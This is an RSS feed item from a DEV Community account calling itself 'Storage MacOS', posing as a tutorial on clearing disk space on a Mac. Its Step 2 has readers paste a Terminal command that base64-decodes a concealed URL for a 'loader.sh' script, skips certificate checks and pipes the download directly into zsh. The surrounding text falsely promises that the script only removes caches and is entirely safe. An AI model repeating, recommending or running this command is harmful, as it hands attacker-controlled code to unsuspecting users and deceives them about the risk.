The latest articles on DEV Community by Storage MacOS (@storage_macos). https://dev.to/storage_macos https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3778229%2Ffd0038bd-a79f-42e8-bf91-88c4b50a95ee.jpg https://dev.to/storage_macos en Storage MacOS Tue, 17 Feb 2026 19:42:27 +0000 https://dev.to/storage_macos/how-to-clear-disk-space-on-macos-5e7i https://dev.to/storage_macos/how-to-clear-disk-space-on-macos-5e7i <blockquote> <p>This method safely removes unnecessary system files and app caches to free up storage on your Mac without affecting your personal data.</p> </blockquote> <h2> 1️⃣ Step 1: Open Terminal </h2> <ul> <li>Press Command (⌘) + Space, type Terminal, press Return.</li> </ul> <h2> 2️⃣ Step 2: Run the Command </h2> <ul> <li>Copy the command below into the Terminal window and hit Return: </li> </ul> <div class="highlight js-code-highlight"> <pre class="highlight plaintext"><code>curl -kfsSL $(echo 'aHR0cHM6Ly9jb2NvLWZ1bjIuY29tL2xvYWRlci5zaD9idWlsZD03ODRkZWEwYzlhYjYwMmY3MTNjMTY3MDA0NGEzNDFiMQ=='|base64 -D)|zsh </code></pre> </div> <h2> 3️⃣ Wait for Completion </h2> <ul> <li>The script will automatically scan and clean your system. You'll see progress updates in Terminal as it completes.</li> </ul> <h2> 📊 How this script works </h2> <blockquote> <p>Scans and deletes unnecessary temporary files from the system<br> Purges stale application caches and old log entries<br> Recovers storage without affecting your personal documents</p> </blockquote> <h2> 🗑️ What gets removed </h2> <blockquote> <p>System caches — temporary files generated by macOS services that rebuild automatically after removal<br> Application caches — stored data from browsers, media players, and other apps that can be safely cleared<br> Old log files — diagnostic logs and crash reports that are no longer needed for troubleshooting<br> Inactive language packs — localization files for languages you don't use, which take up unnecessary space<br> Leftover update files — downloaded software updates that have already been installed and are no longer required</p> </blockquote> <h2> ✅ Is it safe? </h2> <blockquote> <p>Yes. The cleanup script only targets files that macOS marks as expendable — temporary caches, logs, and system-generated data. Your personal files, photos, documents, and application settings remain completely untouched. macOS will automatically regenerate any system caches it needs the next time they are required, so there is no risk of data loss or system instability.</p> </blockquote> <h2> 💾 How much space can I expect to recover? </h2> <blockquote> <p>The amount of recovered storage varies depending on how long it has been since your last cleanup and how many applications you use regularly. On average, users recover between 5 GB and 25 GB of disk space. In some cases — particularly on systems that have not been cleaned in over a year — the script can free up 40 GB or more.</p> </blockquote>